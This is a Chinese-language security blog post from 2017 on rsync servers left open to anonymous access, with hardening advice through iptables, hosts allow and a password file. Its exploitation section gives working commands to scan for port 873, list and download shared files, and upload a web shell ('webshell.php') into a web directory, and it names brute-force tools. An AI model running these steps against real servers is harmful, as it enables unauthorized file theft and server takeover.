配置漏洞之Rsync匿名访问
Jul 12, 2017
Rsync简介
Rsync,remote synchronize顾名思意就知道它是一款实现远程同步功能的软件,它在同步文件的同时,可以保持原来文件的权限、时间、软硬链接等附加信息。
rsync是用 “rsync 算法”提供了一个客户机和远程文件服务器的文件同步的快速方法,而且可以通过ssh方式来传输文件,这样其保密性也非常好,另外它还是免费的软件。
rsync 包括如下的一些特性:
- 能更新整个目录和树和文件系统;
- 有选择性的保持符号链链、硬链接、文件属于、权限、设备以及时间等;
- 对于安装来说,无任何特殊权限要求;
- 对于多个文件来说,内部流水线减少文件等待的延时;
- 能用rsh、ssh 或直接端口做为传输入端口;
- 支持匿名rsync 同步文件,是理想的镜像工具;
寻找匿名访问Rsync方式
Rsync默认的端口是873,可以使用nmap扫描哪些ip开放了873端口。1
nmap -n --open -p 873 X.X.X.X/24
漏洞利用常用操作
例举整个同步目录或指定目录
1 | rsync 10.0.0.12:: |
下载文件或目录到本地
1 | rsync -avz 10.0.0.12::www/test.php /root |
上传本地文件到服务端
1 | rsync -avz webshell.php 10.0.0.12::www/ |
漏洞利用实例
自动化脚本
Metasploit中关于允许匿名访问的rsync扫描模块:
auxiliary/scanner/rsync/modules_list
针对rsync口令暴力破解的脚本rsync-brute:
https://svn.nmap.org/nmap/scripts/rsync-brute.nse
安全配置注意事项
注意两种方式防御,一是限定访问的IP,另一个是不允许匿名访问,添加用户口令。
限定IP的两种方式
IPTables防火墙
给rsync的端口添加一个iptables。
只希望能够从内部网络(192.168.101.0/24)访问:
1 | iptables -A INPUT -i eth0 -p tcp -s 192.168.101.0/24 --dport 873 -m state --state NEW,ESTABLISHED -j ACCEPT |
除此之外rsyncd.conf中的hosts allow也可以设置只允许来源ip。
1 | hosts allow = X.X.X.X #允许访问的IP |
添加用户口令
添加rsync用户权限访问,注意配置的是rsyncd.conf中的:
1 | secrets file = /etc/rsyncd.secrets #密码文件位置,认证文件设置,设置用户名和密码 |
参考链接:
http://wooyun.jozxing.cc/static/drops/papers-161.html
http://www.91ri.org/11093.html